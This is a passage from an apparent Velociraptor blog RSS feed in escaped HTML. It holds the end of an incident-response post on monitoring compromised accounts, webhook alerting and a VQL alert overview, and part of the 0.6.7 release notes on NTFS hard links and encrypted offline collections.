menu&lt;/li&gt;&#xA;&lt;li&gt;Choose ‘Update client monitoring table’&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime/images/5.png&#34;&#xA;     width=&#34;245&#34;&#xA;     height=&#34;61&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;Select the &lt;code&gt;Label group&lt;/code&gt; and go to the next window.&lt;/li&gt;&#xA;&lt;li&gt;Select the artifact &lt;code&gt;Windows.Events.Trackaccount&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Configure the artifact parameters. In the example below it logs&#xA;authentication events (Windows Event ID ‘4624’) concerning the&#xA;accounts &lt;code&gt;adm_peter&lt;/code&gt; and &lt;code&gt;svc_iis&lt;/code&gt;. You are also able to specify&#xA;the &lt;code&gt;LogonType&lt;/code&gt; (3 = network logon, 10 = interactive logon, etc).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime//blog/2023/2023-01-13-tracking-an-adversary-in-realtime/images/6.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1113&#34; height=&#34;576&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/6.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;monitor-vs-contain&#34;&gt;Monitor vs contain&lt;/h3&gt;&#xA;&lt;p&gt;When reading the above example you might have thought: &amp;ldquo;why should I&#xA;monitor a compromised account when I can disable it?&amp;rdquo; There are valid&#xA;reasons why in some cases you first want to monitor for a while. For&#xA;example, when you disable only one account, and the adversary also&#xA;compromised other accounts, you did not stop or slow down the&#xA;adversary. And you likely only alerted them that you are after their&#xA;tail. Which is something you want to avoid, as the adversary might&#xA;change tactics which makes it harder for you to track hem.&lt;/p&gt;&#xA;&lt;p&gt;Another reason why it sometimes makes sense to leave the account&#xA;active, is to monitor it with the goal in mind to learn about the&#xA;Tools, Tactics, and Procedures (TTP) of the adversary. This in turn&#xA;can be used to strengthen the organization their defenses to prevent&#xA;similar incidents from occurring again in the future.&lt;/p&gt;&#xA;&lt;p&gt;There are also valid reasons why you would want to disable compromised&#xA;accounts immediately instead of monitoring for a while. For example,&#xA;when it actually slow down or stop the adversary, or when it is the&#xA;policy of the organization.&lt;/p&gt;&#xA;&lt;p&gt;Even better containment tactics to stop the adversary, are listed&#xA;below. These are particularly helpful when the extend of the&#xA;compromise is not yet clear.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Block or limit outbound network-communication. If done correctly&#xA;this will prevent active command &amp;amp; control (C&amp;amp;C) channels.&lt;/li&gt;&#xA;&lt;li&gt;Block DNS requests to external servers as DNS can tunnel C&amp;amp;C&#xA;traffic.&lt;/li&gt;&#xA;&lt;li&gt;Block or limit inbound network-communication. As the adversary could&#xA;have placed web-shells on web servers, or compromised other potential&#xA;entry points.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It is important to have a discussion of the above with the&#xA;client. They typically want to balance the potential risk of the&#xA;compromise against the operational impact. In the end they are the&#xA;ones who need to make that decision.&lt;/p&gt;&#xA;&lt;p&gt;At some point in the investigation you definitely want to disable all&#xA;compromised accounts or reset passwords. The same applies to all other&#xA;remediation activities aimed at kicking the adversary out, such as&#xA;blocking malicious IP addresses, blackholing malicious domains,&#xA;quarantining compromised systems, resetting passwords, etc. The most&#xA;effective time to execute these activities is when there is a thorough&#xA;understanding of the extent of the compromise. This is referred to by&#xA;&lt;code&gt;Mandiant&lt;/code&gt; as the Strike Zone.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime//blog/2023/2023-01-13-tracking-an-adversary-in-realtime/images/11.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;335&#34; height=&#34;204&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/11.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Striking too soon may result in re-doing the remediation&#xA;activities. Striking too late may result in the adversary achieving&#xA;their mission. Finding the sweet spot is important, and for me that is&#xA;when I don&amp;rsquo;t find any new evidence and when I feel comfortable in&#xA;knowing we have enough measures in place to respond effectively when&#xA;the adversary comes back.&lt;/p&gt;&#xA;&lt;h2 id=&#34;sending-alerts&#34;&gt;Sending alerts&lt;/h2&gt;&#xA;&lt;p&gt;When you want to send an alert the moment a detection took place,&#xA;follow the steps below. This enables the server-side artifacts that&#xA;monitor for triggered alerts.&lt;/p&gt;&#xA;&lt;p&gt;In the below example I used Teams to receive the alerts, but any other&#xA;communication platform that supports Webhooks would work.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Server Events and update the server monitoring table&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime//blog/2023/2023-01-13-tracking-an-adversary-in-realtime/images/7.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;443&#34; height=&#34;230&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/7.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Select the artifact ‘Server.Alerts.ProcessCreation’ and/or&#xA;&lt;code&gt;Server.Alerts.Trackaccount&lt;/code&gt; and go to the next window ‘Configure&#xA;Parameters’.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime//blog/2023/2023-01-13-tracking-an-adversary-in-realtime/images/8.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;451&#34; height=&#34;243&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/8.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Create a webhook and enter the URL as a parameter. They are easy&#xA;to obtain, a quick procedure for Microsoft Teams can be found&#xA;&lt;em&gt;&lt;a href=&#34;https://learn.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt;&lt;/em&gt;. Webhooks&#xA;for other platforms can also be created, such as for Slack,&#xA;Discord, and others.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;If all works well, you should receive an alert in your&#xA;communication platform when an alert is triggered.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime/images/9.png&#34;&#xA;     width=&#34;451&#34;&#xA;     height=&#34;167&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;creating-an-overview-of-alerts&#34;&gt;Creating an overview of alerts&lt;/h2&gt;&#xA;&lt;p&gt;Besides sending alerts, it is also handy to create an overview in&#xA;Velociraptor with all alerts. With the Notebook capability you can&#xA;create this. One requirement is that the server-side artifacts needs&#xA;to be created by following the steps in the previous paragraph.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime//blog/2023/2023-01-13-tracking-an-adversary-in-realtime/images/10.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1183&#34; height=&#34;440&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/10.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The VQL query below is what you can enter in a Notebook to create an&#xA;overview of the alerts.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT EventData.UtcTime as UtcTime,&#xA;       EventData.CommandLine as CommandLine,&#xA;       Hostname, ClientId&#xA;FROM source(artifact=&#39;Server.Alerts.ProcessCreation&#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you want to list the alerts of the artifact&#xA;&lt;code&gt;Windows.Events.Trackaccount&lt;/code&gt; you need to make some slight changes to&#xA;the VQL query, such as changing the artifact name and the selected&#xA;fields.&lt;/p&gt;&#xA;&lt;h2 id=&#34;test-test-test&#34;&gt;Test. Test. Test.&lt;/h2&gt;&#xA;&lt;p&gt;Always test the detections you put in place. The way I typically test&#xA;with Velociraptor is by mimicking the adversary activity on a test&#xA;system that is connected to the Velociraptor server. For example, I&#xA;launch a command that the adversary used and I check to see if that&#xA;results in an alert. Another possibility is launching &lt;a href=&#34;https://www.velociraptor-docs.org/docs/clients/shell/&#34;&gt;remote shell&#xA;commands&lt;/a&gt;&#xA;via Velociraptor.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-more-can-be-done&#34;&gt;What more can be done?&lt;/h2&gt;&#xA;&lt;p&gt;The sky is the limit when it comes to detecting the adversary using&#xA;Velociraptor. And there are still opportunities for building&#xA;artifacts:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Registry changes (for example when persistence of malware is&#xA;created)&lt;/li&gt;&#xA;&lt;li&gt;Detect process injection&lt;/li&gt;&#xA;&lt;li&gt;Named pipes detection&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Below is a list of artifacts that are already built:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;File changes (&lt;code&gt;Windows.Detection.Usn&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;DNS request monitoring (for clients: &lt;code&gt;Windows.ETW.DNS&lt;/code&gt;, and for&#xA;servers: &lt;code&gt;Windows.ETW.DNSQueriesServer&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Service creation (&lt;code&gt;Windows.Events.ServiceCreation&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;PsExec usage (&lt;code&gt;Windows.Detection.PsexecService&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;WMI process creation events (&lt;code&gt;Windows.ETW.WMIProcessCreate&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you have any other ideas for detection feel free to share!&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.6.7 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2022/2022-11-21-release-notes/</link>
      <pubDate>Sat, 19 Nov 2022 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2022/2022-11-21-release-notes/</guid>
      <description>&lt;p&gt;I am very excited to announce the latest Velociraptor release 0.6.7 is&#xA;now out. This release has been in the making for a few months now and&#xA;has a lot of new features and bug fixes.&lt;/p&gt;&#xA;&lt;p&gt;In this post I will discuss some of the interesting new features.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ntfs-parser-changes&#34;&gt;NTFS Parser changes&lt;/h2&gt;&#xA;&lt;p&gt;In this release the NTFS parser was improved significantly. The main&#xA;areas of developments were around better support for NTFS compressed&#xA;and sparse files and better path reconstruction.&lt;/p&gt;&#xA;&lt;p&gt;In NTFS there is a Master File Table (MFT) containing a record for&#xA;each file on the filesystem. The MFT entry describes a file by&#xA;attaching several attributes to the file. Some of these attributes are&#xA;&lt;code&gt;$FILE_NAME&lt;/code&gt; attributes representing the file names of the file.&lt;/p&gt;&#xA;&lt;p&gt;In NTFS a file may have multiple names. Normally, files have a long&#xA;file name and a short filename. Each &lt;code&gt;$FILE_NAME&lt;/code&gt; record also contains&#xA;a reference to the parent MFT entry of its directory.&lt;/p&gt;&#xA;&lt;p&gt;When Velociraptor parses the MFT it attempts to reconstruct the full&#xA;path of each entry by traversing the parent MFT entry, recovering its&#xA;name etc. Previously, Velociraptor used one of the &lt;code&gt;$FILE_NAME&lt;/code&gt;&#xA;records (usually the long file name) to determine the parent MFT&#xA;entry. However, this is not strictly correct as each &lt;code&gt;$FILE_NAME&lt;/code&gt;&#xA;record can &lt;strong&gt;a different parent directory&lt;/strong&gt;. This surprising property&#xA;of NTFS is called &lt;strong&gt;hard links&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can play with this property using the &lt;code&gt;fsutil&lt;/code&gt; program. The&#xA;following adds a hard link to the program at&#xA;&lt;code&gt;C:/users/test/downloads/X.txt&lt;/code&gt; into a different directory.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:&amp;gt; fsutil hardlink create c:\Users\Administrator\Y.txt c:\Users\Administrator\downloads\X.txt&#xA;Hardlink created for c:\Users\Administrator\Y.txt &amp;lt;&amp;lt;===&amp;gt;&amp;gt; c:\Users\Administrator\downloads\X.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The same file in NTFS can exist in multiple directories at the same&#xA;time by use of hard links. The filesystem simply adds a new&#xA;&lt;code&gt;$FILE_NAME&lt;/code&gt; entry to the MFT entry for the file pointing at another&#xA;parent directory MFT entry.&lt;/p&gt;&#xA;&lt;p&gt;Therefore, when scanning the MFT, Velociraptor needs to report all&#xA;possible directories each MFT entry can exist in (There can be many&#xA;such directories, since each directory can have hard links itself&#xA;too).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;As a rule an MFT Entry can represent many files in different&#xA;directories!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-11-21-release-notes//blog/2022/2022-11-21-release-notes/notepad_hardlinks.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;An example of the notepad MFT entry with its many hard links&#34;&#xA;         width=&#34;1292&#34; height=&#34;424&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;notepad_hardlinks.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    An example of the notepad MFT entry with its many hard links&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;reassembling-paths-from-mft-entries&#34;&gt;Reassembling paths from MFT entries&lt;/h2&gt;&#xA;&lt;p&gt;When Velociraptor attempts to reassemble the path from an unallocated&#xA;MFT entry it might encounter an error where the parent MFT entry&#xA;indicated has already been used for some other file or directory.&lt;/p&gt;&#xA;&lt;p&gt;In previous versions, Velociraptor simply reported these parents as&#xA;potential parts of the full path, since for unallocated entries the&#xA;path reconstruction is best effort. This lead to confusion among users&#xA;with often nonsensical paths reported for unallocated entries.&lt;/p&gt;&#xA;&lt;p&gt;In the latest release, Velociraptor is more strict in reporting&#xA;parents of unallocated MFT entries, also ensuring that the MFT&#xA;sequence numbers match. If the parent&amp;rsquo;s MFT entry sequence number does&#xA;not match, Velociraptor&amp;rsquo;s path reconstruction indicates this as an&#xA;error path.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-11-21-release-notes//blog/2022/2022-11-21-release-notes/error_path_reconstruction.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Unallocated MFT entries may have errors reconstructing a full path&#34;&#xA;         width=&#34;1253&#34; height=&#34;403&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;error_path_reconstruction.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Unallocated MFT entries may have errors reconstructing a full path&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above example, the parent&amp;rsquo;s MFT entry has a sequence number of&#xA;5, but we need a sequence number of 4 to match it. Therefore the&#xA;parent&amp;rsquo;s MFT entry is rejected and instead we report the error as the&#xA;path.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-offline-collection-and-encryption&#34;&gt;The offline collection and encryption&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s offline collector is a pre-configured Velociraptor&#xA;binary which is designed to be a single shot acquisition tool. You can&#xA;build an Offline Collector by following the &lt;a href=&#34;https://www.velociraptor-docs.org/docs/deployment/offline_collections/&#34;&gt;documentation&lt;/a&gt;. The Offline&#xA;Collector does not require access to the server, instead simply&#xA;collecting the specified artifacts into a Zip file (which can&#xA;subsequently be uploaded to the cloud, or simply shared with the DFIR&#xA;experts for further analysis).&lt;/p&gt;&#xA;&lt;p&gt;Previously, Velociraptor only supported encrypting the Zip archive&#xA;using a password. This is problematic because the password had to be&#xA;embedded inside the collector configuration and so could be viewed by&#xA;anyone with access to the binary.&lt;/p&gt;&#xA;&lt;p&gt;In the latest release, Velociraptor supports asymmetric encryption to&#xA;protect the acquisition Zip file. There are two asymmetric schemes:&#xA;&lt;code&gt;X509 encryption&lt;/code&gt; and &lt;code&gt;PGP encryption&lt;/code&gt;. Having asymmetric encryption&#xA;improves security greatly because only the public key needs to be&#xA;included in the collector configuration. Dumping the configuration&#xA;from the collection is not sufficient to be able to decrypt the&#xA;collected data - the corresponding private key is also required!&lt;/p&gt;&#xA;&lt;p&gt;This is extremely important for forensic collections since these will&#xA;often contain sensitive and PII information.&lt;/p&gt;&#xA;&lt;p&gt;Using this new feature is also extremely easy: One simply selects the&#xA;X509 encryption scheme during the configuration of the offline&#xA;collector in the GUI.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-11-21-release-notes//blog/2022/2022-11-21-release-notes/encrypting_collectors.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Configuring the offline collector for encryption&#34;&#xA;         width=&#34;1274&#34; height=&#34;653&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;encrypting_collectors.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Configuring the offline collector for encryption&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You can specify any X509 certificate here, but if you do not specify&#xA;any, Velociraptor will use the server&amp;rsquo;s X509 certificate instead.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor will generate a random password to encrypt the Zip file&#xA;with, and then encrypt this password using the X509 certificate.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-11-21-release-notes//blog/2022/2022-11-21-release-notes/encrypted_container.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The resulting encrypted container&#34;&#xA;         width=&#34;963&#34; height=&#34;393&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;encrypted_container.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The resulting encrypted container&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Since the ZIP standard does not encrypt the file names, Velociraptor&#xA;embed a second zip called &lt;code&gt;data.zip&lt;/code&gt; inside the container. The above&#xA;illustrated the encrypted data zip file and the metadata file that&#xA;describes the encrypted password.&lt;/p&gt;&#xA;&lt;p&gt;Because the password used to encrypt the container is not known and&#xA;needs to be derived from the X509 private key, we must use&#xA;Velociraptor itself to decrypt the container (i.e. we can not use&#xA;e.g. &lt;code&gt;7zip&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-11-21-release-notes//blog/2022/2022-11-21-release-notes/decrypting_containers.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Decrypting encrypted containers with the server’s private key&#34;&#xA;         width=&#34;1298&#34; height=&#34;299&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;decrypting_containers.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Decrypting encrypted containers with the server’s private key&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;importing-offline-collections&#34;&gt;Importing offline collections&lt;/h2&gt;&#xA;&lt;p&gt;Originally the offline collector feature was designed as a way to&#xA;collect the exact same VQL artifacts that Velociraptor allows in the&#xA;usual client-server model in situations where installing the&#xA;Velociraptor client was not possible. The same artifacts can be&#xA;collected into a zip file.&lt;/p&gt;&#xA;&lt;p&gt;As Velociraptor&amp;rsquo;s post processing capabilities improved (using&#xA;notebooks and server side VQL to enrich the analysis), people&#xA;naturally wanted to use Velociraptor to post process offline&#xA;collections too.&lt;/p&gt;&#xA;&lt;p&gt;Previously Velociraptor did have the &lt;code&gt;Server.Utils.ImportCollection&lt;/code&gt;&#xA;artifact to allow an offline collection to be imported into&#xA;Velociraptor but this did not work well because the offline collector&#xA;simply did not include enough information in the Zip file to&#xA;sufficiently emulate the GUI&amp;rsquo;s collection views.&lt;/p&gt;&#xA;&lt;p&gt;In the recent release, the offline collector was updated to add more&#xA;detailed information to the collection zip, allowing it to be easily&#xA;imported.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-11-21-release-notes//blog/2022/2022-11-21-release-notes/container_json.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Exported zip archives now contain more information&#34;&#xA;         width=&#34;962&#34; height=&#34;256&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;container_json.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Exported zip archives now contain more information&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;exporting-and-importing-collections&#34;&gt;Exporting and Importing collections&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor has previously had the ability to export collections and&#xA;hunts from the GUI directly, mainly so they can be processed by&#xA;external tools.&lt;/p&gt;&#xA;&lt;p&gt;But there was no way to import those collections back into the GUI. We&#xA;just never imagined this would be a useful feature!&lt;/p&gt;&#xA;&lt;p&gt;Recently Eric Capuano from ReconInfosec shared some data from an&#xA;exercise using Velociraptor and people wanted to import this into&#xA;their own Velociraptor installations so they can run notebook post&#xA;processing on the data themselves.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-11-21-release-notes//blog/2022/2022-11-21-release-notes/opensoc_challenge.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The OpenSoc challenge https://twitter.com/eric_capuano/status/1559190056736378880 &#34;&#xA;         width=&#34;740&#34; height=&#34;628&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;opensoc_challenge.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The OpenSoc challenge https://twitter.com/eric_capuano/status/1559190056736378880 &#xA;  